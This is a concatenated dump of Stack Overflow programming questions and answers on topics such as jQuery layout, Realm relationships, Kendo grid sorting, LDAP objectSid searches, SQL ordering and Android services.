12220876	0	 <p>You can achieve it using jQuery. Please include the latest jQuery Lib.</p> <pre><code>&lt;html&gt; &lt;head&gt; &lt;style type="text/css"&gt; section { display:table; width: 100%; border:1px solid red; } div { display: table-cell; } .leader { background: grey; } .right{ float: right; } .left { float:left; } &lt;/style&gt; &lt;script type="text/javascript"&gt; $(document).ready(function() { $(".leader").width($("section").width() - ($(".left").width() +$(".right").width())); }); &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;section&gt; &lt;div class="left"&gt; Variable wrappable content &lt;/div&gt; &lt;div class="leader"&gt; &lt;!--empty space--&gt; &lt;/div&gt; &lt;div class="right"&gt; &lt;!--fixed length--&gt; Date &lt;/div&gt; &lt;/section&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
37200924	0	Update Realm relationship with primary ids <p>Is it possible to update a Realm object's relationships by passing only the ids of the relationships?</p> <p>If I have a <code>Library</code> class that has a <code>List&lt;Books&gt;</code> relationship and I wanted to merge two <code>Libraries</code> together, I would presume that could be done like:</p> <pre><code>let bookIds = (firstLibrary.books.toArray() + secondLibrary.books.toArray).map { $0.id } </code></pre> <p>Then I use ObjectMapper &amp; SugarRecord:</p> <pre><code>let changes = ["books": bookIds] Mapper&lt;T&gt;().map(changes, toObject: secondLibrary) let realm = self.realm realm.add(secondLibrary, update: true) </code></pre> <p>But the list of books doesn't get updated. I assume this is because ObjectMapper doesn't know anything about primary ids and therefore trying to map them into an object doesn't do anything.</p> <p>Does Realm have the capability to update via primary id? If it does, I'd gladly rewrite my persistence stack.</p>
13186580	0	Using boost::ref to indicate intention in coding conventions <p>When functions take non-const refs as arguments, it can create hard-to-read code because at the calling site it is not obvious which inputs might be changed. This has lead some code conventions to enforce that pointers be used instead, for example</p> <pre><code>void func(int input, int* output); int input = 1, output = 0; func(input, &amp;output); </code></pre> <p>instead of</p> <pre><code>void func(int input, int&amp; output); int input = 1, output = 0; func(input, output); </code></pre> <p>Personally, I hate using pointers because of the need to check for null. This has lead me to wonder if boost::ref (or std::ref for C++11) can be used to signal intention, as follows:</p> <pre><code>void func(int input, int&amp; output); int input = 1, output = 0; func(input, boost::ref(output)); </code></pre> <p>This would be used as a company coding convention. <strong>My question is, are there any reasons why this would not be a good idea?</strong></p>
40826060	0	 <p>Closing and opening the Visual Studio Solution worked for me.</p>
6673807	0	 <p>This is the Spotlight For Help search field, which is entirely controlled by the system. It automatically provides results from your application's Help Book and menu items. AFAIK you can't populate it "manually". It works automatically when you create a Help Book for your application.</p> <p>See <a href="http://developer.apple.com/library/mac/#documentation/Carbon/Conceptual/ProvidingUserAssitAppleHelp/user_help_concepts/apple_help_concepts.html#//apple_ref/doc/uid/TP30000903-CH205-BABBDDJC" rel="nofollow">Apple Help Concepts: The Help Menu</a>.</p>
6175408	0	Is it possible to change mouse cursor when handling drag (from DragOver event)? <p>We need to display a feedback to the user when he drags-in items into our application. Our client prefers this feedback to be in form of a custom cursor.</p> <p>This is already implemented for drag-out, using a custom cursor that is set in <code>GiveFeedback</code> event handler (raised by <code>DoDragDrop</code> when dragging items out of our app). The <code>GiveFeedbackEventArgs</code> allows us to specify <code>UseDefaultCursors</code> property - setting this to false allows us to override the cursor.</p> <p>However, the <code>DragOver</code> event handler argument, which is the equivalent of <code>GiveFeedback</code>, does not have <code>UseDefaultCursors</code> property and changing the cursor from there does not have any effect.</p> <p><strong>Sample (this has no effect):</strong></p> <pre><code>private void browser_DragOver(object sender, DragEventArgs e) { Cursor.Current = Cursors.WaitCursor; } </code></pre> <p>The drag operation originates from outside our app. (for in-app drag, it works using the <code>GiveFeedback</code> event.</p> <p>How to change the cursor when receiving a drag? Is this even possible/feasible?</p>
19128094	0	 <p>The code I had to add to my view controller, after applying the constraints as per the ilya’s answer:</p> <p>In <code>controlTextDidChange</code> (<code>_controlWidthConstraint</code> refers to the fixed width constraint of the input; it’s probably 0 by default for the second input):</p> <pre><code>// Get the new width that fits float oldWidth = textControl.frame.size.width; [input sizeToFit]; float controlWidth = textControl.frame.size.width; // Don’t let the sizeToFit method modify the frame though NSRect controlRect = textControl.frame; controlRect.size.width = oldWidth; textControl.frame = controlRect; _controlWidthConstraint.constant = controlWidth; </code></pre>
33657969	0	Bluemix logging issue to papertrail <p>Any idea why syslog:// protocol from <code>bluemix</code> app is not connecting to <code>PaperTrail</code> third party logging service?</p> <p>Here is my process: </p> <p><a href="https://i.stack.imgur.com/OZ2rd.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/OZ2rd.png" alt="enter image description here"></a></p> <ol> <li>create user provided service</li> <li>bind this service</li> <li>restage</li> </ol> <p>then on the papertrail nothing happens:</p> <p><a href="https://i.stack.imgur.com/2KapV.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/2KapV.png" alt="enter image description here"></a></p> <p>You can try it out. The testing app URL is: <a href="http://658.eu-gb.mybluemix.net" rel="nofollow noreferrer">http://658.eu-gb.mybluemix.net</a></p> <p>Its just Hello world simple nodejs app.</p>
316863	0	 <p>One solution that I feel strikes the right balance in the Framework/Roll-your-own dilemma is the use of three key perl modules: <a href="http://cpan.uwinnipeg.ca/htdocs/CGI.pm/CGI.pm.html#ABSTRACT" rel="nofollow noreferrer">CGI.pm</a>, <a href="http://www.tt2.org/" rel="nofollow noreferrer">Template Toolkit</a> , and <a href="http://cpan.uwinnipeg.ca/htdocs/DBI/DBI/FAQ.html#Basic_Information_amp_Information_So" rel="nofollow noreferrer">DBI</a>. With these three modules you can do elegant MVC programming that is easy to write and to maintain.</p> <p>All three modules are very flexible with Template Toolkit (TT) allowing you to output data in html, XML, or even pdf if you need to. You can also include perl logic in TT, even add your database interface there. This makes your CGI scripts very small and easy to maintain, especially when you use the "standard" pragma. </p> <p>It also allows you to put JavaScript and AJAXy stuff in the template itself which mimics the separation between client and server. </p> <p>These three modules are among the most popular on CPAN, have excellent documentation and a broad user base. Plus developing with these means you can rather quickly move to mod_perl once you have prototyped your code giving you a quick transition to Apache's embedded perl environment.</p> <p>All in all a compact yet flexible toolset.</p>
20558286	0	Javascript program, if statement difficulties <p>this code does not work, at least not complete way it should. I'm trying to run it so an item is selected and then deposit amounts are chosen on the select menu until the proper amount is equaled or exceeded, resulting in change, but I cant seem to get my if statements to work properly. If anyone sees the problem, I would much appreciate the help.</p> <p><a href="http://jsfiddle.net/YgX4z/" rel="nofollow">http://jsfiddle.net/YgX4z/</a> </p> <pre><code>&lt;script type="text/javascript"&gt; var select; function changedepositedInput(objDropDown) { //console.log(parseFloat(objDropDown)); var objdeposited = document.getElementById("deposited"); objdeposited.value=parseFloat(objdeposited.value||'0'); var total=parseInt(objdeposited.value||'0'); objdeposited.value = parseFloat(objDropDown.value||'0')+total; var cost=parseInt('0'); var water = document.getElementById("water"); var soda = document.getElementById("soda"); var coffee = document.getElementById("coffee"); var beer = document.getElementById("beer"); if (water.checked) {cost=parseInt('75');} if (soda.checked) {cost=parseInt('150');} if (coffee.checked) {cost=parseInt('100');} if (beer.checked) {cost=parseInt('200');} if (total&gt;cost) { var change=document.getElementById("change"); change.value=total-cost; } else { var change=document.geElementById("change"); change.value="0"; } if (total&gt;=cost) { var objdelivered=document.getElementById("delivered"); objdelivered.value="Yes"; } else { var objdelivered=document.getElementById("delivered"); objdelivered.value="No"; } } &lt;/script&gt; &lt;h1&gt;Vending Machine Project&lt;/h1&gt; &lt;form name="vendingmachine" action=" "&gt; Choose Bevrage&lt;br&gt; &lt;input name="item" type="radio" id="water" checked="checked"&gt;Water 75 cents&lt;br&gt; &lt;input name="item" type="radio" id="soda"&gt;Soda $1.50&lt;br&gt; &lt;input name="item" type="radio" id="coffee"&gt;Coffee $1.00&lt;br&gt; &lt;input name="item" type="radio" id="beer"&gt;Beer $2.00&lt;br&gt; &lt;p&gt; &lt;label&gt;Deposit Money: &lt;select name="money" id="money" onchange="changedepositedInput(this)"&gt; &lt;option value="0"&gt;Choose Amount&lt;/option&gt; &lt;option value="10"&gt;10 cents&lt;/option&gt; &lt;option value="25"&gt;25 cents&lt;/option&gt; &lt;option value="50"&gt;50 cents&lt;/option&gt; &lt;option value="75"&gt;75 cents&lt;/option&gt; &lt;option value="100"&gt;$1.00&lt;/option&gt; &lt;/select&gt; &lt;/label&gt; &lt;/p&gt; &lt;p&gt;Total Deposited:&lt;input name="deposited" id="deposited" type="text" readonly="TRUE" value=""&gt;&lt;/p&gt; &lt;p&gt;Change Returned:&lt;input name="change" id="change" type="text" readonly="TRUE" value=" "&gt;&lt;/p&gt; &lt;p&gt;Bevrage Delivered:&lt;input name="delivered" id="delivered" type="text" readonly="TRUE" value=" "&gt;&lt;/p&gt; &lt;p&gt;&lt;input type="reset" value="Start Over"&gt;&lt;/p&gt; </code></pre> <p></p>
24514831	0	 <p>It would be helpful if you showed the SQL statement that returns the results.</p> <p>Are the returned arrays in separate $row results?</p> <p>In that case you need to iterate through each $row result, something like:</p> <pre><code>foreach($query-&gt;result() as $row) { for ($p=1; $p&lt;=2; $p++) { echo number_format($row["novhigh_".$p],2); } } </code></pre> <p>On a side note: It looks like the key definition inside the arrays is not logical, why not have the same key value for the "novhigh" element? </p>
4928392	0	 <p>I have not used it, but Apache James looks like it will support a SQL Backend: <a href="http://james.apache.org/server/3/feature-persistence.html" rel="nofollow">http://james.apache.org/server/3/feature-persistence.html</a> (Make sure you use version 3).</p> <p>Amother option might be to use Apache James Mailets (These are like Servlets for mail) and have them write the statistics to a database when an action takes place on the mail server.</p>
3328519	0	Retrieve Data Step by Step after a certain delay using ajax and jquery in php <p>I am a beginner at Jquery. What i want is to display the data using AJAX in a step by step manner. So let say if in my database there is a table "DATA" with a field name "info" having multiple rows as a data </p> <h2>info</h2> <p>1 2 3 4 5</p> <p>Now i want to display all the five rows but after a certain delay of time let say after a second.</p> <p>So i want to use Jquery with AJAX to retrieve data from mySQL table and display each row after a second.</p> <p>Please provide an example for solving this problem. Thanks in Advance...</p>
37929151	0	Rails: Fetch nth table record <p>I know I can find the first user in my database in the command line with,</p> <pre><code>User.first </code></pre> <p>And I can find the last with </p> <pre><code>User.last </code></pre> <p>my question is how would I call the 11th user in a database.</p>
16134309	0	 <p>if we have function f(n) = 3n^2-9n , lower order terms and costants can be ignored, we consider higher order terms ,because they play major role in growth of function. By considering only higher order term we can easily find the upper bound, here is the example.</p> <pre><code> f(n)= 3n^2-9n For all sufficient large value of n&gt;=1, 3n^2&lt;=3n^2 and -9n &lt;= n^2 thus, f(n)=3n^2 -9n &lt;= 3n^2 + n^2 &lt;= 4n^2 *The upper bound of f(n) is 4n^2 , that means for all sufficient large value of n&gt;=1, the value of f(n) wouldn't be greater than 4n^2.* therefore, f(n)= Θ(n^2) where c=4 and n0=1 </code></pre> <p><img src="https://i.stack.imgur.com/5vf3g.jpg" alt="enter image description here"></p> <p><strong>we can directly find the upper bound by saying to ignore lower order terms and constants in the equation f(n)= 3n^2-9n , result will be the same Θ(n^2)</strong></p>
21169377	0	XCode 5 - OpenURL not working in ViewController <p>Getting error on <code>UIApplication Expecting ':'</code>.</p> <pre><code>@interface ViewController () @end @implementation ViewController -(IBAction) pushButton{ [[UIApplication sharedApplication openURL: [NSURL URLWithString:@"http://www.portfoliopathway.com"]]; } </code></pre>
40929170	0	How to order by one column in one table and another column in other table ,but in a single query? <p>I tried two queries which work fine individually:</p> <p>1) <code>select * from {disputeticket} ORDER BY {creationtime} ASC</code><br> The query is working , here FK=PK of CsTicketState (Column name=State)</p> <p>2) <code>select * from {CsTicketState} where order by {SEQUENCENUMBER} asc</code><br> This one also works, here PK(column name)</p> <p>I need to have both on a single query. Sequence number is 0,1,2</p> <p>I tried the below query but only the first part is getting sorted, not the second part.</p> <pre><code>select {dp:pk},{dp:ticketid},{dp:state},{cts:code},{cts:sequencenumber} from {disputeticket as dp join CsTicketState AS cts on {dp:state}={cts:pk}} ORDER BY {cts:sequencenumber},{dp:creationtime} ASC </code></pre>
36441900	0	 <p>2) I've already answered similar question <a href="http://stackoverflow.com/a/34278630/1991579">here</a>:</p> <blockquote> <p>If you are using 1 thread, for example, in EventLoopGroup for boss group for 2 different bootstraps, it means that you can't handle connections to this bootstraps simultaneously. So in very very bad case, when boss thread handle only connections for one bootstrap, connections to another will never be handled.</p> <p>Same for workers EventLoopGroup.</p> </blockquote> <p>3) You can do it, and it will work fine. But same as in 2: you can't handle server response simultaneously. If it's ok for you, do it.</p>
11832690	0	Swipe Gesture for iOS in Flash CS6 <p>I'm creating an app for iOS (mainly) in Flash CS6 and I'm having a few problems with getting a particular page to work.</p> <p>The layout is as follows: I have a movie clip that is 3 times the width of the stage with my content, with the instance name of <code>txtContent</code>.</p> <p>On a separate layer, my Action Script (v3.0) reads as follows:</p> <pre><code>import com.greensock.*; import flash.events.MouseEvent; //Swipe Multitouch.inputMode = MultitouchInputMode.GESTURE; var currentTile:Number = 1; var totalTiles:Number = 3; txtContent.addEventListener(TransformGestureEvent.GESTURE_SWIPE , onSwipe); function moveLeft():void{ txtContent.x += 640; } function moveRight():void{ txtContent.x -= 640; } function onSwipe (e:TransformGestureEvent):void{ if (e.offsetX == 1) { if(currentTile &gt; 1){ moveLeft() currentTile-- } else {} } if (e.offsetX == -1) { if(currentTile &lt; totalTiles){ moveRight() currentTile++ } } } stop(); </code></pre> <p>When I test the movie, with a touch layer, the movie clip successfully moves left and right for each swipe, and does not continue to move too far in either direction, in effect ignoring any other swipes.</p> <p>However, when I compile the IPA and test on the iPhone, only the first two "tiles" move (I can only see two thirds of the movie clip with swiping), as if I swipe to the third "tile" I cannot swipe back at all. No matter what I do, it gets stuck on that third section.</p> <p>Is there a problem in my code that isn't registering properly in iOS?</p> <p>FYI, I'm testing on an iPhone 3GS.</p>
9704131	0	 <p>You can make new union case values based on existing value of the same union case using Reflection. In order to achieve this just add instance member <code>Same</code> to your discriminated union, which first derives specific union case from the instance <code>self</code> and then constructs a new instance by the same union case, but now populated with <code>newVal</code>:</p> <pre><code>open Microsoft.FSharp.Reflection type Currency = | Dollar of int | Euro of int member self.Same newVal : Currency = FSharpValue.MakeUnion(fst (FSharpValue.GetUnionFields(self, typeof&lt;Currency&gt;)), [|newVal|]) |&gt; unbox </code></pre> <p>Now applying it to <code>lowPrice</code> value below</p> <pre><code>let lowPrice = Euro(100) let highPrice = lowPrice.Same 200 </code></pre> <p>you'll get <code>highPrice : Currency = Euro 200</code></p>
31280140	0	 <p>As @CBroe points out, this isn't supported by the Facebook Graph API. (It can be done using <a href="https://developers.facebook.com/docs/reference/fql/" rel="nofollow">FQL</a>, but that's deprecated and won't be supported for much longer).</p> <p>That said, with some creativity (and a bit extra code) a similar effect can be achieved by combining a couple of queries. </p> <p>In my application, I perform a query with the following parameters:</p> <ul> <li><code>until=2015-07-07</code> (or whatever the <code>since</code> date would have been)</li> <li><code>fields=updated_time</code> (to keep the query fast and the payload small)</li> <li><code>limit=5000</code> (or some similarly large page size, as I'm only grabbing one field)</li> </ul> <p>I then evaluate each post that has an <code>updated_time</code> greater than the would-be <code>since</code> date, and throw those posts into a queue to download the entirety of the post content. </p> <blockquote> <p><em>Note:</em> If you're dealing with content where there are frequent updates on past content, you'd likely want to use the Graph API's <a href="https://developers.facebook.com/docs/graph-api/making-multiple-requests" rel="nofollow">Batch Requests feature</a>, as opposed to downloading each post individually.</p> </blockquote> <p>So, for example, if the <code>until</code> (and, thus, <code>since</code>) date is <code>2015-07-07</code> and the <code>updated_time</code> on a post is <code>2015-10-15</code>, then I know that post was created prior to <code>2015-07-07</code> but updated afterwards. It won't get picked up in a <code>since</code> query, but I can easily download it individually to synchronize my cache.</p>
34850189	0	Kendo Sort not working <p>i have implemented a kendo grid as shown below , paging works without any issues but sort not work. Could you please help</p> <p>CSHTML</p> <pre><code>&lt;div class="panel"&gt; &lt;div id="CsHistory" class="row"&gt; &lt;div class="col-lg-12 col-md-12 col-sm-12" style="float:none; margin-left:auto; margin-right:auto; margin-top: 10px; margin-bottom: 10px;"&gt; @using PC.Cmgr.Claims.Domain.Models; @using PC.Cmgr.Claims.Domain.Common; @using PC.Cmgr.Models; @using System.Linq; @(Html.Kendo().Grid&lt;CsAuditTrailViewModel&gt; () .HtmlAttributes(new { style = "width:auto; height:auto; text-center;margin-right: 30px;margin-left: 30px; " }) .Name("AllCsHistory") .Columns(columns =&gt; { columns.Bound(o =&gt; o.CsAuditTrailId).Title("CsAuditTrailId"); }) .ToolBar(toolBar =&gt; { }) .Resizable(resize =&gt; resize.Columns(false)) .Reorderable(reorder =&gt; reorder.Columns(true)) .Sortable() .Pageable(pageable =&gt; pageable .Refresh(true) .PageSizes(true) .ButtonCount(5)) .DataSource(dataSource =&gt; dataSource .Ajax() .Batch(true) .ServerOperation(true) .Model(model =&gt; { model.Id(o =&gt; o.CsAuditTrailId); }) .Read(read =&gt; read.Action("GetCHistoryByClaimId", "Claims", new { ClaimId = Model.Claim.ClaimId })) .Events(events =&gt; { events.Sync("sync_handler"); } ) ) ) &lt;/div&gt; &lt;/div&gt; </code></pre> <p></p> <p>Controller</p> <pre><code> public async Task&lt;ActionResult&gt; GetCsHistoryByClaimId([DataSourceRequest] DataSourceRequest request, Guid ClaimId) { var CsHistory = await _CsHistoryProxy.GetCsHistoryByClaimId(ClaimId); var rawData = new ConcurrentBag&lt;CsAuditTrailViewModel&gt;(); var gridData = new List&lt;CsAuditTrailViewModel&gt;(); Parallel.ForEach(CsHistory, (x) =&gt; { rawData.Add( new CsAuditTrailViewModel { CsAuditTrailId = x.CsAuditTrailId, NewData = x.NewData, OldData = x.OldData, UpdateDate = x.UpdateDate, UserId = x.UserId }); }); ViewData["total"] = rawData.Count(); // Apply paging if (request.Page &gt; 0) { gridData = rawData.Skip((request.Page - 1) * request.PageSize).ToList(); } gridData = gridData.Take(request.PageSize).ToList(); var result = new DataSourceResult() { Data = gridData, Total = (int)ViewData["total"] }; return Json(result); } </code></pre>
35113212	0	 <p>It means that header "header.h" is included in more than one compilation unit.</p> <p>In this case variable GAMESTATE is defined in each module that includes the header.</p> <p>You should declare the variable without its definition in the header the following way</p> <pre><code>extern Gamestate GAMESTATE; </code></pre> <p>and then for example in main.cpp define it like</p> <pre><code>Gamestate GAMESTATE = MENU; </code></pre>
9879479	0	Optimization stops prematurely (MATLAB) <p>I'm trying my best to work it out with fmincon in MATLAB. When I call the function, I get one of the two following errors:</p> <p>Number of function evaluation exceeded, or</p> <p>Number of iteration exceeded.</p> <p>And when I look at the solution so far, it is way off the one intended (I know so because I created a minimum vector).</p> <p>Now even if I increase any of the tolerance constraint or max number of iterations, I still get the same problem. </p> <p>Any help is appreciated.</p>
11983857	0	SQL query to select max value of a varchar field <p>I want to select the max value of a varchar field and increment its value by 1 retaining its original format .. </p> <p>Customer ID for ex. : <code>CUS0000001</code> is the value </p> <p>add 1 to it and then enter it into the database along with other details.</p> <p>So the result should be like <code>CUS0000002</code> ..</p> <p>This is what I have tried and in fact achieved what I want .. </p> <p>But is this the best way to do it ?? </p> <pre><code>SELECT CONCAT('CUS', RIGHT(CONCAT('000000', CONVERT((CONVERT(MAX(RIGHT(customer_id, 7)) , UNSIGNED) + 1), CHAR(10))), 7)) AS customer_id FROM customer_master </code></pre>
11251170	0	 <p>What user is your ssh daemon running as? Presumably System. That user doesn't have authority to map network drives, as far as I recall. Can you not just do this on the Linux box directly using samba?</p>
3769939	0	 <p>It is necessary to call ActionBarAdvisor.register() to make the save action available. For example:</p> <pre><code>public class MyActionBarAdvisor extends ActionBarAdvisor { public MyActionBarAdvisor(IActionBarConfigurer configurer) { super(configurer); } protected void makeActions(final IWorkbenchWindow window) { register(ActionFactory.SAVE.create(window)); } } </code></pre> <p>Given the addition to plugin.xml in the question, the built-in save handler will now be invoked for any active editor.</p>
25546637	0	ldap ObjectSID string to hex <p>I can't figure out how to search in an ldap directory by objectsid string:</p> <pre><code>$string = 'S-0-1-23-4567890123-4567890123-456789012-3456' $ds = ldap_connect('xxxx', xxx); ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3); $r = ldap_bind($ds, $bind_rdn, $bind_password); $filter = "(objectSid=$string)"; $sr = ldap_search($ds, $dn, $filter); $users = ldap_get_entries($ds, $sr); </code></pre> <p>Then i read somewhere you should pass it as hex value: /00/00/....</p> <pre><code>$s = preg_replace('/../','\\\\$0',bin2hex($string)); </code></pre> <p>But still no result. If i pass objectSid=* ass filter, i get all results, so i know the query is working :).</p> <p>Thx!</p>
19487550	0	 <p>You can force a numerical sorting when converting your text data type to a numeric one. Use an explicit or this implicit cast</p> <pre><code> ORDER BY cnumber * 1 ASC </code></pre>
1470983	0	PDF ZOOMING is fading the text <p>i successfully download the pdf file and it's working fine. But the problem is zooming . when i m zooming the clarity is not as clear as originally. need help..</p> <p>thanks in advance.</p> <p>--- goeff. </p>
4083966	0	ASP.NET pages never stop loading <p>We have a problem with many of our website written C# ASP.NET. The problem is that often a C# page will never fully load from the server. The page content itself load fine but Images but more annoying Scripts (Javascript) seam to hang and never come down and depending on the content it might lock up the page on Ajax Postback.</p> <p>This problem is not limited to a single server as it happens on development machines as well as pre production and production servers.</p> <p>The development machine are just using the inbuilt VS IIS Instance.</p> <p>All pages that have this problem use ASP.NET Update Panels with varying versions of AJAX Toolkit.</p> <p>Thanks</p>
11884852	0	 <p>Do something like that in a method, perhaps initDatabase or something: (the reason is the answer of trojanfoe, I just want to add some code snippets)</p> <pre><code>NSString *databaseName = @"bd_MyObjects.sqlite"; // Get the path to the documents directory and append the databaseName NSArray *documentPaths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES); NSString *documentsDir = [documentPaths objectAtIndex:0]; NSString *databasePath = [documentsDir stringByAppendingPathComponent:databaseName]; // Check if the SQL database has already been saved to the users phone, if not then copy it over BOOL success; // Create a FileManager object, we will use this to check the status // of the database and to copy it over if required NSFileManager *fileManager = [NSFileManager defaultManager]; // Check if the database has already been created in the users filesystem success = [fileManager fileExistsAtPath:databasePath]; // If the database already exists then return without doing anything if(success) return; // If not then proceed to copy the database from the application to the users filesystem // Get the path to the database in the application package NSString *databasePathFromApp = [[[NSBundle mainBundle] resourcePath] stringByAppendingPathComponent:databaseName]; // Copy the database from the package to the users filesystem [fileManager copyItemAtPath:databasePathFromApp toPath:databasePath error:nil]; </code></pre>
28946463	0	Counters do not update <p>This is a first for me. I have started using GUIDE and after mild cussing I have hit rock bottom. I have setup a counter in a m-file but for some reason it does not update. Could you please help me. The counter is called num.</p> <pre><code>function ack = streamSensor_1_2_3(hObject, handles) if handles.fileID.BytesAvailable == 0 fprintf(handles.fileID, 'P') display('yes'); %get data from active receiver stations for l = 1:3 data_cm(l,:) = fscanf(handles.fileID, ' %f ' ); display(data_cm); set(handles.uitable1, 'data', data_cm); end %solve perpendicular view [at, bt, ct] = flatPlane(data_cm(:,2), data_cm(:,3), data_cm(:,4)) [xr, yr] = reposit(at, bt, ct); D_angle = dangle(data_cm(:,2), data_cm(:,3), data_cm(:,4), 'deg'); display(handles.num); comet(handles.axes3, handles.num, D_angle); handles.num = handles.num +1 ; %plot knee angle plot3(handles.axes1, data_cm(:,2), data_cm(:,3), data_cm(:,4)); plot(handles.axes2, xr, yr); ylim(handles.axes2,[-1.2 1.2]); xlim(handles.axes2,[-1.2 1.2]); ack = 1; else ack = 0; end guidata(hObject, handles); </code></pre> <p>I have declared this variable in the opening function</p> <pre><code>function Knee_DepressAngle_GUI_OpeningFcn(hObject, eventdata, handles, varargin) % Choose default command line output for Knee_DepressAngle_GUI handles.output = hObject; handles.num = 0; % Update handles structure guidata(hObject, handles); ...........etc. </code></pre> <p>And the function is called from a button press. This is later going to be a continuously called function so a counter based on the button press information will not work.</p> <pre><code>function printOnce_Callback(hObject, eventdata, handles) display(streamSensor_1_2_3(hObject, handles)); guidata(hObject, handles); </code></pre>
38042222	0	How to accelerate PHP execution by using cached result? <p>I'm using PHP-FPM 5.6 version.</p> <p>php -v shows there's OPcache in place.</p> <p>I have a PHP script that's accepting parameters and giving me same <code>2.2k</code> HTML output all the time.</p> <p>The script execution does not involve any connectivity to MySQL.</p> <p>In Chrome Developer Tools, I'm seeing an execution time of <code>900ms</code>.</p> <p>I find that this is relatively slow.</p> <p>I would like to shorten this execution time.</p> <p>Given that OPcache is in place with this version of PHP, can I use it to cache the result of my PHP script execution for a faster response time?</p> <p>Or if there's an alternative approach?</p> <p>Any configuration to be tweaked in <code>php.ini</code>, <code>/etc/php.d/10-opcache.ini</code> or <code>/etc/php-fpm.d/www.conf</code>?</p> <p>And how do I purge the cached result when needed?</p>
32534703	0	 <p>You can store then wherever makes sense. The catch is that when you <code>source</code> them, you need to either already be in that directory before running the initial <code>mysql</code> command, because <code>source</code> only looks in the current directory -- that's why they aren't found, not because you put them in the "wrong" place, if that's what you're thinking may be the problem.</p> <p>Or, use the full path, e.g.:</p> <pre><code>mysql&gt; source /home/melissa/myscript.sql </code></pre>
30531592	0	 <p>You can use parameters only once in a query</p> <pre><code>$sql1="SELECT @rownum := @rownum + 1 Rank, q.* FROM (SELECT @rownum:=0) r,(SELECT * ,sum(`number of cases`) as tot, sum(`number of cases`) * 100 / t.s AS `% of total` FROM `myTable` CROSS JOIN (SELECT SUM(`number of cases`) AS s FROM `myTable` where `type`=:criteria and `condition`=:diagnosis) t where `type`=:criteria2 and `condition`=:diagnosis2 group by `name` order by `% of total` desc) q"; $stmt = $dbh-&gt;prepare($sql1); $stmt-&gt;execute(array(':criteria' =&gt; $search_crit, ':diagnosis' =&gt; $diagnosis, ':criteria2' =&gt; $search_crit, ':diagnosis2' =&gt; $diagnosis)); </code></pre>
9473326	0	 <p>I personally verified that for domain classes there is a big hit in terms of performances.</p> <p>While trying to solve a performance issue, I found this blog entry <a href="http://blog.oio.de/2010/08/05/updated-grails-domain-class-creation-performance-avoid-named-parameters-in-loops-with-many-iterations/" rel="nofollow">Grails Domain Class Creation Performance</a>, changed from map style constructor invocation and gained a factor on ten when creating a lot of new instances (not to be persisted BTW). </p> <p>I'm using grails 2.01, so the problem (?) is still there.</p>
20093495	0	 <p>The following can work. You can google for them and see how they work.</p> <pre><code>driver.findElement(By.id("id")); driver.findElement(By.cssSelector("cssSelector")); driver.findElement(By.name("name")); driver.findElement(By.linkText("linkText")); driver.findElement(By.partialLinkText("partialLinkText")); driver.findElement(By.className("className")); driver.findElement(By.xpath("xpath")); </code></pre> <p>I am sure some of them will be useful. Please let me know if you want more info. The easiness of using them is in the order which i have mentioned.</p>
25749239	0	 <p>You have created list of exceptions, i.e. list that can hold instances of exceptions. But you try to add there <code>class</code> instead. </p> <p>the following will work </p> <pre><code>List&lt;Exception&gt; ex = new ArrayList&lt;Exception&gt;(); ex.add(new NotFoundException()); </code></pre> <p>(obvioously if your <code>NotFoundException</code> has default constructor; otherwise use appropriate contructor). </p> <p>The following will work too: List> ex = new ArrayList>(); ex.add(NotFoundException.class);</p> <p>now it depends what do you really need. </p>
32058169	0	 <p>One is to INNER JOIN Table B onto Table A by ID's. You will have 3 records returned from Table B. If you ORDER those records by the COLX</p> <pre><code>SELECT ,a.ID ,a.Col1 ,a.Col2 ,a.Col3 ,b.COLX FROM TableA AS a INNER JOIN TABLE_B AS b on b.A_ID = a.id ORDER BY b.COLX DESC </code></pre> <p>Then another way is joining a sub query of Table B that also has a sub query that filters Table B records to only the records with the highest RANK. </p> <p>That way you can bring in COLX values from the highest RANK records from Table B that match the records of Table A. </p> <p>I think at least...</p> <pre><code>SELECT a.ID ,a.Col1 ,a.Col2 ,a.Col3 ,b.COLX FROM TableA a INNER JOIN ( SELECT a.A_ID ,a.RANK ,a.COLX FROM TABLE_B a INNER JOIN ( SELECT A_ID, ,MAX(RANK) AS [RANK] -- Highest Rank FROM TABLE_B GROUP BY A_ID ) AS b ON b.A_ID = a.A_ID AND b.RANK = a.RANK ) AS b on b.A_ID = a.id ORDER BY a.ID ASC </code></pre>
41018667	0	 <p>You can use HttpClient class to create an object and make <code>get</code> or <code>put</code> requests for your restful API. You may need to pass the API key or secret in the get parameters in the request or add these as Http headers for your HttpClient object.</p>
1263878	0	 <p>If your regex engine has lookbehind assertions then you can just add a "(?&lt;!\.)" before the "@".</p>
37947315	0	 <pre><code> ((MainActivity)getActivity()).mDrawerToggle.setDrawerIndicatorEnabled(false); ((MainActivity)getActivity()).getSupportActionBar().setDisplayHomeAsUpEnabled(true); getActivity().getSupportFragmentManager().beginTransaction() .add(R.id.frame, new DetailFragment())//here add add fragment on stack .addToBackStack(null) .commit(); </code></pre>
22792860	0	 <pre><code>&lt;?php if ( get_query_var('paged') ) { $paged = get_query_var('paged'); } elseif ( get_query_var('page') ) { $paged = get_query_var('page'); } else { $paged = 1; } $q_cat = get_query_var('cat'); $cat = get_category($q_cat); $catName = $cat-&gt;cat_ID; $category = new WP_Query(); query_posts( array( 'post_type' =&gt; 'producto', 'paged' =&gt; $paged, 'cat' =&gt; $catName ) ); if ( have_posts() ) : $count = 0; while ( have_posts() ) : the_post(); $count++; get_template_part('content', get_post_format()); endwhile; else: ?&gt; &lt;?php _e('sorry no posts', 'siddharta naranjo') ?&gt; &lt;?php endif; ?&gt; </code></pre>
9910853	0	 <p>Android reserves the right to kill any application or component that isn't visible to the user (even those can be killed, but it's a rare occurrence). Most often, this is due to memory pressure, and the system kills applications to free up resources.</p> <p>If you have a long-running process that runs in the background and it should run continuously, your best bet is to make it a <a href="http://developer.android.com/reference/android/app/Service.html#startForeground%28int,%20android.app.Notification%29" rel="nofollow">foreground service</a>. This will put the service at a higher priority than a background service, and should be interrupted less by the system.</p> <p>However, unless your service NEEDS to run in the foreground, you should implement your service to gracefully handle being torn down and built up by the system, since it usually kills the service for a good reason. Forcing your service into the foreground might increase the risk of hurting overall device performance, and it does force the presence of a persistent notification in the notification bar, which annoys some users (at least me).</p>
